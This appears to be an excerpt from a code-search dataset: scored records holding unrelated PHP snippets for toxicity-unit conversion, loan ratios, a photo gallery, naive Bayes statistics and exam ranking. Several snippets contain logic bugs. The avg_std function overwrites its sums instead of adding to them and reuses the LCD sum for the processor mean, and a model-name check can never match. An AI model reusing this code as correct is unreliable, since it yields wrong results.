($model_name == 'CTV Oral Slope Factor (OSF)' || $model_name== 'CTV Cancer Potency Value (CPV)' || $model_name == 'CTV Inhalation Unit Risk (IUR)' ){\t\t// three models that mole is on bottom.\n\t\t\t\n\t\t\t$mole_model = 1/pow(10, $model_value);\n\t\t\t$mole_lower = 1/pow(10, $Lower_95);\n\t\t\t$mole_upper = 1/pow(10, $Upper_95);\n\t\t\t\n\t\t\tif ($model_name == 'Oral Slope Factor'){\n\t\t\t\t$Inverted_converted = $mole_model * (1000 * 1000 * $mol_Weight);\n\t\t\t\t$Inverted_converted_lower = $mole_lower * (1000 * 1000 * $mol_Weight);\n\t\t\t\t$Inverted_converted_upper = $mole_upper * (1000 * 1000 * $mol_Weight);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t$Inverted_converted = $mole_model * (1000 * $mol_Weight);\n\t\t\t\t\t$Inverted_converted_lower = $mole_lower * (1000 * $mol_Weight);\n\t\t\t\t\t$Inverted_converted_upper = $mole_upper * (1000 * $mol_Weight);\n\t\t\t\t\t}\n\t\t\t$converted_value = 1/$Inverted_converted;\n\t\t\t$converted_lower = 1/$Inverted_converted_lower;\n\t\t\t$converted_upper = 1/$Inverted_converted_upper;\n\t\t\t// echo '$model_value. $Lower_95. $Upper_95: '.$model_value. ' '. $Lower_95. $Upper_95. ' '. $converted_value. ' '. $converted_lower. ' '. $converted_upper;\n\t\t\t}\t\t// end of three models that mole is on bottom.\n\t\t\t\n\t\t\telseif($model_name == 'CTV Reference Dose (RfD)' || $model_name== 'CTV Reference Concentration (RfC)' || $model_name == 'CTV Reference Dose (RfD) BMDL' || $model_name == 'CTV Reference Dose (RfD) BMD' || $model_name == 'CTV Reference Dose NO(A)EL'){\n\t\t\t\t\t\t\t\n\t\t\t\t$converted_value = pow(10, $model_value*(-1)) * 1000 * $mol_Weight;\n\t\t\t\t$converted_lower = pow(10, $Lower_95*(-1)) * 1000 * $mol_Weight;\n\t\t\t\t$converted_upper = pow(10, $Upper_95*(-1)) * 1000 * $mol_Weight;\n\t\t\t\t\n\t\t\t\t}\t\t// end of three models that mole is on top.\n\t\t\t\n\t\t\t$model_value_f = E_or_point($model_value);\n\t\t\t$converted_value_f = E_or_point($converted_value);\n\t\t\t\n\t\t\t$Lower_95_f = E_or_point($Lower_95); \n\t\t\t$Upper_95_f = E_or_point($Upper_95); \n\t\t\t\n\t\t\t$converted_lower_f = E_or_point($converted_lower); \n\t\t\t$converted_upper_f = E_or_point($converted_upper); \n\t\t\t\n\t\n\t\t\techo '<tr bgcolor=\"LightSkyBlue\" style = \"border: 2px; border-collapse: separate; \">';\n\t\t\techo '<td style = \"text-align: center; text-indent: 3px; padding-right: 3px;\">';\n\t\t\techo $Chemical_name. '</td><td>'. $model_name. '</td><td>'. $model_unit. '</td><td>';\n\t\t\techo $model_value_f. '</td><td>'. $Lower_95_f. '</td><td>'. $Upper_95_f. '</td><td>';\n\t\t\techo $sigma_value. '</td><td>'. $Note. '</td></tr>';\n\t\t\t\n\t\t\techo '<tr bgcolor=\"LightSkyBlue\" style = \"border: 2px; border-collapse: separate; \">';\n\t\t\techo '<td style = \"text-align: center; text-indent: 3px; padding-right: 3px;\">';\n\t\t\techo $Chemical_name. '</td><td>'. $model_name. '</td><td>'. $converted_unit. '</td><td>';\n\t\t\techo $converted_value_f. '</td><td>'. $converted_upper_f. '</td><td>'. $converted_lower_f. '</td><td>';\n\t\t\techo $sigma_value. '</td><td>'. $Note. '</td></tr>';\n\t\t\t\n\t}\t// end of \tif ($model_value != 0){\t)\n\telse{\n\t\techo'<tr style = \"border: 2px;\" bgcolor=\"LightSkyBlue\">';\n\t\techo '<td>'. $Chemical_name. '</td><td>'. $model_name. '</td>';\n\t\techo '<td colspan=\"6\" > Prediction not available</td>';\n\t\t}\n }", "title": "" }, { "docid": "840b27b87e3e35c49f5d91060f7b124e", "score": "0.5265599", "text": "private function calLTV(){\r\n\t\t$loan_total = $this->getField('loan_amount')+$this->getField('loan_amount2')+$this->getField('cr_loan_amount');\r\n\t\t$value = $this->getField('price');\r\n\t\treturn $loan_total/$value*100;\r\n\t\t\r\n\t}", "title": "" }, { "docid": "8501d81f0479f49ab5b669bbb160990e", "score": "0.52121556", "text": "function Display_exist_value($Chemical_name, $model_name, $value, $source, $converted_unit){\n echo'<tr bgcolor=\"#f5febb\" style = \"all: none; border: 5px; border-right: 2px; border-bottom: 2px solid black; \">';\n\t\n \n\tif ($value >= 100 || $value < 0.1){\n\t\t$field_1 = sprintf(\"%.3e\",($value));}\n\t\telse{$field_1 = round($value, 3);}\n\techo '<td>'. $Chemical_name. '</td><td colspan=\"2\">'. $model_name. '</td>';\n echo '<td colspan=\"2\">'. $field_1. '</td>';\n\techo \"<td> $converted_unit</td><td colspan='2'>\". $source .'</td></tr>';\n}", "title": "" }, { "docid": "c9ef76e1fa6d15989dab544b6eb0b601", "score": "0.51635104", "text": "public function showMyStats()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "2d260389a28a65f0e77127afb00c8da0", "score": "0.51537776", "text": "function render($values) {\n\t$pnid = $values->nid;\n\t$cnid = $values->nid;\n\t$output = cbone_listing_percent_meter($pnid, $cnid);\n\t/*$output = '<div class=\"listing-pc-meter\">\n\t<div class=\"width-100-number\"><div class=\"number-100\"><span class=\"meter-number\">'.$percent.'%</span></div></div>\n\t<div class=\"width-100\"><div class=\"width-34\" percent=\"'.$percent.'\"><span class=\"meter-point\">&nbsp;</span></div></div>\n\t\t</div>';*/\n\treturn $output;\n }", "title": "" }, { "docid": "cf285d80cb99f3da7c877bb92731e3c4", "score": "0.5124932", "text": "public function get_value(){\n\t\treturn $this->get_rate_per_year() \n\t\t\t* exp( -$this->get_annuity()->get_delta() \n\t\t\t* $this->get_effective_time() ) \n\t\t\t* $this->get_annuity()->get_value();\n\t}", "title": "" }, { "docid": "f19e296c178c7cd538e4b16e53ac5af3", "score": "0.50980055", "text": "public function do_statistic()\n {\n $this->view->render('do_statistic');\n }", "title": "" }, { "docid": "8c0285c31d91bd6b07e8fc6c21d63ed4", "score": "0.5093049", "text": "function predicted($ref)\n\t{\n\t\t$posts = 0;\n\t\t$sum = 0;\n\t\t$trend = 0;\n\t\t$temp = 0;\n\t\t$avg_occ = 0;\n\t\t//error_log('Array Printout:');\n\t\t//error_log($result->num_rows());\n\t\tforeach( $ref->result_array() as $row){\n\t\t\t$sum += $row['fill'];\n\t\t\t//error_log('fill: '.$row['fill']);\n\t\t\tif($row['fill'] > $temp)\n\t\t\t{\n\t\t\t\t$trend += 1;\n\t\t\t}elseif($row['fill'] < $temp)\n\t\t\t{\n\t\t\t\t$trend -= 1;\n\t\t\t}else{\n\t\t\t\t$trend += 0;\n\t\t\t}\n\t\t\t$posts++;\n\t\t\t$temp = $row['fill'];\n\t\t\t/**\n\t\t\terror_log('trend: '.$trend);\n\t\t\terror_log('temp; '.$temp);\n\t\t\t**/\n\t\t}\n\t\t\n\t\tif($posts == 0){\n\t\t\t$pred_val = 0;\n\t\t}else{\n\t\t\t$avg_occ = $sum/$posts;\n\t\t\t\n\t\t\tif($avg_occ >= 90 && $trend > 0){\n\t\t\t\t$pred_val = ceil($avg_occ + ((100 - $avg_occ) *($trend/$posts)));\n\t\t\t}elseif($avg_occ <= 10 && $trend < 0){\n\t\t\t\t$pred_val = ceil($avg_occ + ((0 + $avg_occ) * ($trend/$posts)));\n\t\t\t}else{\n\t\t\t\t$pred_val = ceil($avg_occ + (10 *($trend/$posts)));\n\t\t\t}\n\t\t}\n\t\t/**\n\t\terror_log('avg_occ: '.$avg_occ);\n\t\terror_log('trend: '.$trend);\n\t\terror_log('posts: '.$posts);\n\t\terror_log('est_occ: '.$pred_val);\n\t\t**/\n\t\treturn $pred_val;\n\t\n\t}", "title": "" }, { "docid": "4f4a0d2784af4183533a7a9f8cfd13e4", "score": "0.5089399", "text": "public function getTrendLines() : array\n\t{\n\t\treturn $this->trendLines;\n\t}", "title": "" }, { "docid": "f085e932c17cadafcc2e62ef31bdef5c", "score": "0.50879", "text": "function draw_line_graph($values,$title)\r\n {\r\n $tpe=$_GET['tpe']*1; //Ensure tpe takes up integer type\r\n echo \"<p><u><b>Line graph for:</b></u> \".$title.\"</p>\";\r\n \r\n table_maker($values);\t \r\n $g=0;\r\n $var_string=null;\r\n foreach($values as $dta_key => $dta_vl)\r\n {\r\n\t $var_string[]=\"['\".$dta_key.\"', \".$dta_vl.\"]\";//['\".$dta_key.\"', \".$dta_vl.\"]\";\r\n }\r\n $var_string=implode(\",\",$var_string);\r\n $type=\"line\";\r\n if($tpe==1);\r\n include(\"draw_line_graph.php\");\r\n }", "title": "" }, { "docid": "1491e79bcfa1e571f6d2adf59ac4ec72", "score": "0.5077788", "text": "function getTrending($from,$filter) {\n\t\tglobal $TEXT ;\n\t\t\n\t\t// Set limit\n\t\t$limit = $this->settings['photos_per_page'] + 1;\n\n\t\t// Add filter\n\t\tif($filter == 1) { // Trending today\n\t\t\t$add_filter = 'AND CURDATE() = date(user_posts.post_time)';\n\t\t\t$head_add = $TEXT['_uni-Trending-today'];\n\t\t\t$empty = $TEXT['_uni-No_photos_today'];\n\t\t\t$empty2 = $TEXT['_uni-No_photos_today_inf'];\n\n\t\t} elseif($filter == 2) { // Trending yesterday\n\t\t\t$add_filter = 'AND DATE_SUB(CURDATE(), INTERVAL 1 DAY) = date(user_posts.post_time)';\n\t\t\t$head_add = $TEXT['_uni-Trending-yesterday'];\n\t\t\t$empty = $TEXT['_uni-No_photos_yest'];\n\t\t\t$empty2 = $TEXT['_uni-No_photos_yest_inf'];\n\t\t} elseif($filter == 3) { // Trending last month\n\t\t\t$add_filter = 'AND MONTH(CURDATE()) = MONTH(date(user_posts.post_time)) AND YEAR(CURDATE()) = YEAR(date(user_posts.post_time))';\n\t\t\t$head_add = $TEXT['_uni-Trending-month'];\n\t\t\t$empty = $TEXT['_uni-No_photos_mon'];\n\t\t\t$empty2 = $TEXT['_uni-No_photos_mon_inf'];\n\n\t\t} elseif($filter == 4) { // Trending last year\n\t\t\t$add_filter = 'AND YEAR(CURDATE()) = YEAR(date(user_posts.post_time))';\n\t\t\t$head_add = $TEXT['_uni-Trending-year'];\n\t\t\t$empty = $TEXT['_uni-No_photos_year'];\n\t\t\t$empty2 = $TEXT['_uni-No_photos_year_inf'];\n\n\t\t} else { // Trending all time\n\t\t\t$add_filter = ''; \n\t\t\t$head_add = $TEXT['_uni-Trending-alltime'];\n\t\t}\n\t\t\n\t\t// Add header and staring point\n\t\tif($from > 0 ) {\n\t\t\t$from = 'AND user_posts.post_loves < \\''.$this->db->real_escape_string($from).'\\'';\t\n\t\t} else {\n\t\t\t$from = '';\n\t\t}\t\t\n\n\t\t// Select trending posts\n\t\t$result = $this->db->query(sprintf(\"SELECT * FROM user_posts,users WHERE user_posts.post_by_id = users.idu AND user_posts.post_type = 1 AND users.p_posts != 1 $add_filter $from ORDER BY user_posts.post_loves DESC LIMIT %s\", $limit));\n\n\t $rows = array();\n\n\t\t// If posts exists\n\t\tif($result->num_rows) {\n\t\t\t\n\t\t\t// Fetch posts\n\t\t\twhile($row = $result->fetch_assoc()) {\n\t\t\t $rows[] = $row;\n\t\t\t}\n\t\t\t\n\t\t\t// Remove last post\n\t\t\t$loadmore = (array_key_exists($limit-1, $rows)) ? array_pop($rows) : NULL;\n\t\t\t\n\t\t\t// Start responsive grid\n\t\t\t$images = '<div class= \"brz-gallery brz-animate-opacity\" ><section id=\"responsive-images-columns\">';\n\t\t\t\n\t\t\t// Reset\n $x = 0;\t\n\t\t\t\n\t\t foreach($rows as $row) {\n\t\t\t\t\n\t\t\t\t // Generate title\n\t\t\t\t\t$image_title = sprintf($TEXT['_uni-ttl_trending_img'],readAble($row['post_loves'])).' '.sprintf($TEXT['_uni-getsprint'],($row['post_comments'] > 0) ? sprintf($TEXT['_uni-ttl_trending_img3'],readAble($row['post_comments'])) : '' );\n\t\t\n\t\t // Allo multiple images\n\t\t\t\t\t$listed_images = explode(',', $row['post_content']);\n\t\t\t\t\t\n\t\t\t\t\tforeach($listed_images as $listed_image) {\n\n\t\t\t\t\t\t// Build responsive gallery from trending posts\n \t\tif($x == 3) { \n\t\t\t\t \t\t$images .= '<div class=\"container\"><img class=\"three-columns brz-hover-opacity brz-cursor-pointer\" title=\"'.$image_title.'\" onclick=\"loadPost('.$row['post_id'].')\" src=\"'.$TEXT['installation'].'/thumb.php?src='.$listed_image.'&fol=c&w=252&h=192\"/>';\n\t\t\t\t \t\t$x = 1;\n\t\t\t \t\t} elseif($x == 2) {\n\t\t\t\t \t\t$images .= '<img class=\"three-columns brz-hover-opacity brz-cursor-pointer\" title=\"'.$image_title.'\" onclick=\"loadPost('.$row['post_id'].')\" src=\"'.$TEXT['installation'].'/thumb.php?src='.$listed_image.'&fol=c&w=252&h=192\" /></div>';\n\t\t\t \t\t$x = 3;\n\t\t\t \t\t} elseif($x == 0) {\n\t\t\t\t \t\t$images .= ' <div class=\"container\"><img class=\"three-columns brz-hover-opacity brz-cursor-pointer\" title=\"'.$image_title.'\" onclick=\"loadPost('.$row['post_id'].')\" src=\"'.$TEXT['installation'].'/thumb.php?src='.$listed_image.'&fol=c&w=252&h=192\"/>';\n\t\t\t \t\t$x++;\n\t\t\t \t\t} else {\n\t\t\t\t \t\t$images .= '<img class=\"three-columns brz-hover-opacity brz-cursor-pointer\" title=\"'.$image_title.'\" onclick=\"loadPost('.$row['post_id'].')\" src=\"'.$TEXT['installation'].'/thumb.php?src='.$listed_image.'&fol=c&w=252&h=192\" />';\n\t\t\t \t\t$x++;\n\t\t\t \t\t}\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t // Last processed id\n\t\t \t$last = $row['post_loves'];\t\n\t\t\t\t\t\n\t\t\t}\n\t\t\n\t\t\t$images .= '</section></div>';\n\t\t\t\t\n // Add load more function if more results exists\n\t\t\t$images .= ($loadmore && $last > 0 ) ? addLoadmore($this->settings['inf_scroll'],$TEXT['_uni-ttl_more-photos'],'loadTrending('.$last.','.$filter.',26);') : closeBox($TEXT['_uni-No_more-photos']);\n\n\t\t\t// Return gallery\n\t\t\treturn $images;\n\n\t\t} else {\n\t\t\t// No photos yet\n\t\t\treturn bannerIt('trend-it'.mt_rand(1,4),$empty,$empty2).'<script>$(\"#trending-box-main\").find(\".brz-super-grey\").remove();</script>';\n\t\t}\t\n\t}", "title": "" }, { "docid": "33e8bcb00ba7bc86eecac82f9c259d21", "score": "0.5074174", "text": "function avg_std(){\n\t\t$training = $this->mymodels->GetData('data_training',''); \t//1\n\t\tif($training != NULL) { \t //parameter pertama\t\t\t\t\t\t\t\t//2\n\t\t\t$sum_merk_rekomen\t\t\t= 0;\n\t\t\t$sum_ram_rekomen \t\t\t= 0;\n\t\t\t$sum_vga_rekomen\t\t\t= 0;\n\t\t\t$sum_hdd_rekomen\t\t\t= 0;\n\t\t\t$sum_lcd_rekomen \t\t\t= 0;\n\t\t\t$sum_processor_rekomen\t\t= 0;\n\t\t\t$sum_rate_rekomen\t\t\t= 0;\n\n\t\t\t$sum_merk_tidakrekomen\t\t\t= 0;\n\t\t\t$sum_ram_tidakrekomen \t\t\t= 0;\n\t\t\t$sum_vga_tidakrekomen\t\t\t= 0;\n\t\t\t$sum_hdd_tidakrekomen\t\t\t= 0;\n\t\t\t$sum_lcd_tidakrekomen \t\t\t= 0;\n\t\t\t$sum_processor_tidakrekomen\t\t= 0;\n\t\t\t$sum_rate_tidakrekomen\t\t\t= 0;\n\n\n\t\t\t$n_rekomen \t= 0;\n\t\t\t$n_tidakrekomen \t= 0;\n\t\t\t$n_data\t\t\t\t= 0; \n\n\t\t\t//menjumlah data total biasa\n\t\t\tforeach ($training as $train){ \t\t\t\t\t\t\t//3\n\t\t\t\tif($train['rekomen'] == \"YA\"){ \t\t\t\t\t\t//4 //mencari interval\n\t\t\t\t\t$n_rekomen++;\t\t\t\t\t\t\t\n\t\t\t\t\t$sum_merk_rekomen\t\t\t= $train['merk'];\n\t\t\t\t\t$sum_ram_rekomen \t\t\t= $train['ram'];\n\t\t\t\t\t$sum_vga_rekomen\t\t\t= $train['vga'];\n\t\t\t\t\t$sum_hdd_rekomen\t\t\t= $train['hdd'];\n\t\t\t\t\t$sum_lcd_rekomen \t\t\t= $train['lcd'];\n\t\t\t\t\t$sum_processor_rekomen\t\t= $train['processor'];\n\t\t\t\t\t$sum_rate_rekomen\t\t\t= $train['rate'];\n\t\t\t\t}\n\t\t\t\telse if($train['rekomen'] == \"TIDAK\"){ \t\t\t\t//5\n\t\t\t\t\t$n_tidakrekomen++;\t\n\t\t\t\t\t$sum_merk_tidakrekomen\t\t\t= $train['merk'];\n\t\t\t\t\t$sum_ram_tidakrekomen \t\t\t= $train['ram'];\n\t\t\t\t\t$sum_vga_tidakrekomen\t\t\t= $train['vga'];\n\t\t\t\t\t$sum_hdd_tidakrekomen\t\t\t= $train['hdd'];\n\t\t\t\t\t$sum_lcd_tidakrekomen \t\t\t= $train['lcd'];\n\t\t\t\t\t$sum_processor_tidakrekomen\t\t= $train['processor'];\n\t\t\t\t\t$sum_rate_tidakrekomen\t\t\t= $train['rate'];\n\t\t\t\t}\n\t\t\t\t$n_data++; \n\t\t\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t//6\n\n\t\t\t//rata-rata\n\t\t\t$u_merk_rekomen\t\t\t= $sum_merk_rekomen/$n_rekomen;\t\t\t\t\t\t//7\n\t\t\t$u_ram_rekomen \t\t\t= $sum_ram_rekomen/$n_rekomen;\n\t\t\t$u_vga_rekomen\t\t\t= $sum_vga_rekomen/$n_rekomen;\n\t\t\t$u_hdd_rekomen\t\t\t= $sum_hdd_rekomen/$n_rekomen;\n\t\t\t$u_lcd_rekomen \t\t\t= $sum_lcd_rekomen/$n_rekomen ;\n\t\t\t$u_processor_rekomen\t= $sum_lcd_rekomen/$n_rekomen ;\n\t\t\t$u_rate_rekomen\t\t\t= $sum_rate_rekomen/$n_rekomen;\n\n\t\t\t$u_merk_tidakrekomen\t\t= $sum_merk_tidakrekomen/$n_tidakrekomen;\n\t\t\t$u_ram_tidakrekomen \t\t= $sum_ram_tidakrekomen/$n_tidakrekomen;\n\t\t\t$u_vga_tidakrekomen\t\t\t= $sum_vga_tidakrekomen/$n_tidakrekomen;\n\t\t\t$u_hdd_tidakrekomen\t\t\t= $sum_hdd_tidakrekomen/$n_tidakrekomen;\n\t\t\t$u_lcd_tidakrekomen \t\t= $sum_lcd_tidakrekomen/$n_tidakrekomen;\n\t\t\t$u_processor_tidakrekomen\t= $sum_processor_tidakrekomen/$n_tidakrekomen;\n\t\t\t$u_rate_tidakrekomen\t\t= $sum_rate_tidakrekomen/$n_tidakrekomen; \n\n\t\t\t$sum2_merk_rekomen\t\t\t= 0;\n\t\t\t$sum2_ram_rekomen \t\t\t= 0;\n\t\t\t$sum2_vga_rekomen\t\t\t= 0;\n\t\t\t$sum2_hdd_rekomen\t\t\t= 0;\n\t\t\t$sum2_lcd_rekomen \t\t\t= 0;\n\t\t\t$sum2_processor_rekomen\t\t= 0;\n\t\t\t$sum2_rate_rekomen\t\t\t= 0;\n\n\t\t\t$sum2_merk_tidakrekomen\t\t\t= 0;\n\t\t\t$sum2_ram_tidakrekomen \t\t\t= 0;\n\t\t\t$sum2_vga_tidakrekomen\t\t\t= 0;\n\t\t\t$sum2_hdd_tidakrekomen\t\t\t= 0;\n\t\t\t$sum2_lcd_tidakrekomen \t\t\t= 0;\n\t\t\t$sum2_processor_tidakrekomen\t= 0;\n\t\t\t$sum2_rate_tidakrekomen\t\t\t= 0;\n\n\t\t\t//sum untuk standart deviasi\n\t\t\tforeach ($training as $train){\t\t\t\t\t\t\t\t\t\t\t\t\t\t//8\n\t\t\t\tif($train['rekomen'] == \"YA\"){\t\t\t\t\t\t\t\t\t\t\t\t\t//9\n\t\t\t\t\t$sum2_merk_rekomen\t\t\t+= pow($train['merk']-$u_merk_rekomen,2);\n\t\t\t\t\t$sum2_ram_rekomen \t\t\t+= pow($train['ram']-$u_ram_rekomen,2);\n\t\t\t\t\t$sum2_vga_rekomen\t\t\t+= pow($train['vga']-$u_vga_rekomen,2);\n\t\t\t\t\t$sum2_hdd_rekomen\t\t\t+= pow($train['hdd']-$u_hdd_rekomen,2);\n\t\t\t\t\t$sum2_lcd_rekomen \t\t\t+= pow($train['lcd']-$u_lcd_rekomen,2);\n\t\t\t\t\t$sum2_processor_rekomen\t\t+= pow($train['processor']-$u_processor_rekomen,2);\n\t\t\t\t\t$sum2_rate_rekomen\t\t\t+= pow($train['rate']-$u_rate_rekomen,2);\n\t\t\t\t}\n\t\t\t\telse if($train['rekomen'] == \"TIDAK\"){\t\t\t\t\t\t\t\t\t\t\t//10\n\t\t\t\t\t$sum2_merk_tidakrekomen\t\t\t+= pow($train['merk']-$u_merk_tidakrekomen,2);\n\t\t\t\t\t$sum2_ram_tidakrekomen \t\t\t+= pow($train['ram']-$u_ram_tidakrekomen,2);\n\t\t\t\t\t$sum2_vga_tidakrekomen\t\t\t+= pow($train['vga']-$u_vga_tidakrekomen,2);\n\t\t\t\t\t$sum2_hdd_tidakrekomen\t\t\t+= pow($train['hdd']-$u_hdd_tidakrekomen,2);\n\t\t\t\t\t$sum2_lcd_tidakrekomen \t\t\t+= pow($train['lcd']-$u_lcd_tidakrekomen,2);\n\t\t\t\t\t$sum2_processor_tidakrekomen\t+= pow($train['processor']-$u_processor_tidakrekomen,2);\n\t\t\t\t\t$sum2_rate_tidakrekomen\t\t\t+= pow($train['rate']-$u_rate_tidakrekomen,2);\n\t\t\t\t}\n\t\t\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//11\n\n\t\t\t//menghitung standart deviasi \n\t\t\t$std_merk_rekomen\t\t\t= sqrt($sum2_merk_rekomen/($n_rekomen-1));\n\t\t\t$std_ram_rekomen \t\t\t= sqrt($sum2_ram_rekomen/($n_rekomen-1));\n\t\t\t$std_vga_rekomen\t\t\t= sqrt($sum2_vga_rekomen/($n_rekomen-1));\n\t\t\t$std_hdd_rekomen\t\t\t= sqrt($sum2_hdd_rekomen/($n_rekomen-1));\n\t\t\t$std_lcd_rekomen \t\t\t= sqrt($sum2_lcd_rekomen/($n_rekomen-1));\n\t\t\t$std_processor_rekomen\t\t= sqrt($sum2_processor_rekomen/($n_rekomen-1));\n\t\t\t$std_rate_rekomen\t\t\t= sqrt($sum2_rate_rekomen/($n_rekomen-1));\n\n\t\t\t$std_merk_tidakrekomen\t\t\t= sqrt($sum2_merk_tidakrekomen/($n_tidakrekomen-1));\n\t\t\t$std_ram_tidakrekomen \t\t\t= sqrt($sum2_ram_tidakrekomen/($n_tidakrekomen-1));\n\t\t\t$std_vga_tidakrekomen\t\t\t= sqrt($sum2_vga_tidakrekomen/($n_tidakrekomen-1));\n\t\t\t$std_hdd_tidakrekomen\t\t\t= sqrt($sum2_hdd_tidakrekomen/($n_tidakrekomen-1));\n\t\t\t$std_lcd_tidakrekomen \t\t\t= sqrt($sum2_lcd_tidakrekomen/($n_tidakrekomen-1));\n\t\t\t$std_processor_tidakrekomen\t\t= sqrt($sum2_processor_tidakrekomen/($n_tidakrekomen-1));\n\t\t\t$std_rate_tidakrekomen\t\t\t= sqrt($sum2_rate_tidakrekomen/($n_tidakrekomen-1));\n\n\t\t\t//array standart deviasi \n\t\t\t$std[0] = $std_merk_rekomen;\n\t\t\t$std[1] = $std_ram_rekomen ;\n\t\t\t$std[2] = $std_vga_rekomen;\n\t\t\t$std[3] = $std_hdd_rekomen;\n\t\t\t$std[4] = $std_lcd_rekomen;\n\t\t\t$std[5]\t= $std_processor_rekomen;\n\t\t\t$std[6]\t= $std_rate_rekomen;\t\n\n\t\t\t$std[7] \t= $std_merk_tidakrekomen;\n\t\t\t$std[8] \t= $std_ram_tidakrekomen ;\n\t\t\t$std[9] \t= $std_vga_tidakrekomen;\n\t\t\t$std[10] \t= $std_hdd_tidakrekomen;\n\t\t\t$std[11] \t= $std_lcd_tidakrekomen;\n\t\t\t$std[12]\t= $std_processor_tidakrekomen;\n\t\t\t$std[13]\t= $std_rate_tidakrekomen;\t\n\n\t\t\t//rata-rata \n\t\t\t$avg[0] = $u_merk_rekomen;\n\t\t\t$avg[1] = $u_ram_rekomen ;\n\t\t\t$avg[2] = $u_vga_rekomen;\n\t\t\t$avg[3] = $u_hdd_rekomen;\n\t\t\t$avg[4] = $u_lcd_rekomen;\n\t\t\t$avg[5]\t= $u_processor_rekomen;\n\t\t\t$avg[6]\t= $u_rate_rekomen;\t\n\n\t\t\t$avg[7] \t= $u_merk_tidakrekomen;\n\t\t\t$avg[8] \t= $u_ram_tidakrekomen ;\n\t\t\t$avg[9] \t= $u_vga_tidakrekomen;\n\t\t\t$avg[10] \t= $u_hdd_tidakrekomen;\n\t\t\t$avg[11] \t= $u_lcd_tidakrekomen;\n\t\t\t$avg[12]\t= $u_processor_tidakrekomen;\n\t\t\t$avg[13]\t= $u_rate_tidakrekomen;\t\n\n\t\t}\n\n\t\treturn array(\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//12\n\t\t\t'avg' =>$avg ,\n\t\t\t'std' =>$std,\n\t\t );\n\n\n\n\n\t}", "title": "" }, { "docid": "0afeb6d7007bcb5e7d75eca917fa4cfd", "score": "0.5062418", "text": "public function rate(): float;", "title": "" }, { "docid": "02eb7d5d4fdfdcec23d858c7e581c808", "score": "0.50407934", "text": "public function get_sales_kasir(){\n $data=$this->Model_float->get_sales_kasir()->row_array();\n $sales_kasir = number_format($data['grand_total']);\n echo $sales_kasir;\n }", "title": "" }, { "docid": "0caa8f4d8a9a3cb3b36873dc2a709108", "score": "0.5037076", "text": "public static function getNbAndMoyDvd($tab = []){\n\n $i = 0;\n $tot = 0;\n foreach ($tab as $value) {\n $i++;\n $tot += $value->budget;\n }\n $moy = $tot/$i;\n\n return \"Mon budget total: <b>{$tot}</b> €, la moyenne du prix de mes <b>{$i}</b> films est de <b>{$moy}</b> €\";\n\n}", "title": "" }, { "docid": "08f7ad23019a913abd2b95018538f480", "score": "0.5031177", "text": "public function trends() {\n\n if ($this->uri->segment(3) < 0) { //ensure the offset number is not less than data availabale in database\n redirect('admin/contact', 'location', '301');\n }\n\n $perpage = 12;\n $count = $this->db->where(array('status' => 1))->from('fn_product')->count_all_results();\n\n// if ($this->uri->segment(3) > $count) { //ensure the offset number is not greater than data availabale in database\n// redirect('products', 'location', '301');\n// }\n\n if ($count > $perpage) { /* if data greater than per page then set up pagination */\n\n /* pagination configs */\n $config['per_page'] = $perpage;\n $config['uri_segment'] = 3;\n $config['total_rows'] = $count;\n $config['base_url'] = site_url('products/trends');\n\n $this->pagination->initialize($config);\n $this->data['pagination'] = $this->pagination->create_links();\n $offset = $this->uri->segment(3);\n\n /* additional data */\n $this->data['offset_data'] = $offset;\n } else {\n $offset = 0;\n $this->data['pagination'] = '';\n }\n $this->db->order_by('viewed', 'asce');\n $this->db->limit($perpage, $offset);\n $this->data['products'] = $this->products_m->get_price(array('status' => 1));\n $this->data['subview'] = 'products';\n $this->data['module'] = 'products';\n $this->template->public_one_col($this->data);\n // $this->load->view('products', $this->data);\n }", "title": "" }, { "docid": "af38c93374fda2d983a3eb13e9400f7e", "score": "0.50271595", "text": "function display(){\n\n\t\t$sql = SqlQuery::getInstance();\n\t\t\n\t\t$output_array = array();\n\t\t\n\n\t\t//TODO: yeah, I know this is a funny query. But that's how i did it last year :D\n\t\t$exams = $sql->simpleQuery(\"\n\t\t\tSELECT * FROM `IBO_exam` WHERE MONTH(date) = 4 AND YEAR(date) = 2010 ORDER BY id ASC\");\n\t\t\t\n\t\t$weights = array();\n\t\t$praktika = '';\n\t\t\t\n\t\t$output_array[0]['Rang'] = '';\n\t\t$output_array[0]['Name'] = 'Gewichtung:';\n\t\t$tot = 0;\n\t\t$i = 0;\n\t\t$cur_name = '';\n\t\t$de_name_map = array();\n\t\tforeach($exams as $e){\n\n\n\t\t\t//update and set t-score, if not yet done.\n\t\t\tExamResults::calculate_tscore($e['id']);\t\t\t\n\n\t\t\t$i++;\n\t\t\t$cur_name = 'P'.$i;\n\t\t\t$de_name_map[$e['de']] = $cur_name;\n\t\t\t//print_r($e);\n\t\t\t$output_array[0][$cur_name] = $e['weight'];\n\t\t\t$tot += $e['weight'];\n\t\t\t$weights[$e['de']] = $e['weight'];\n\t\t\t$praktika .= $cur_name.': '.$e['de'].'<br />';\n\t\t}\n\t\t$output_array[0]['Total'] = '';\n\t\t\n\t\t$students = $sql->simpleQuery(\"SELECT CONCAT(u.first_name,' ', u.last_name) as name, u.*, SUM(se.t_score*ie.weight) score\nFROM `IBO_student_exam` se \nJOIN user u ON u.id = se.user_id\nJOIN IBO_exam ie ON ie.id = se.exam_id\n\nWHERE MONTH(ie.date) = 4 AND YEAR(ie.date) = 2010\nGROUP BY u.id ORDER BY score DESC\");\n\t\t\n\t\t$rank = 1;\n\t\tforeach($students as $stud){\n\t\t\tif($rank == 5) //for to make pretty sings happen on se peidsch.\n\t\t\t\t$output_array []= array('rank'=>'--','name'=>'----');\n\t\t\t\t\n\t\t\t$scores = $sql->simpleQuery(\"SELECT ie.de, ise.t_score \n\t\t\t\tFROM IBO_student_exam ise JOIN IBO_exam ie ON ie.id = ise.exam_id\n\t\t\t\tWHERE MONTH(ie.date) = 4 AND YEAR(ie.date) = 2010 AND ise.user_id = '\".$stud['id'].\"'\n\t\t\t\tORDER BY ie.id\");\n\t\t\t\t\n\t\t\t$arr = array();\n\t\t\t$total = 0;\n\t\t\t$arr['Rang'] = $rank++;\n\t\t\t$arr['Name'] = $stud['name'];\n\t\t\tforeach($scores as 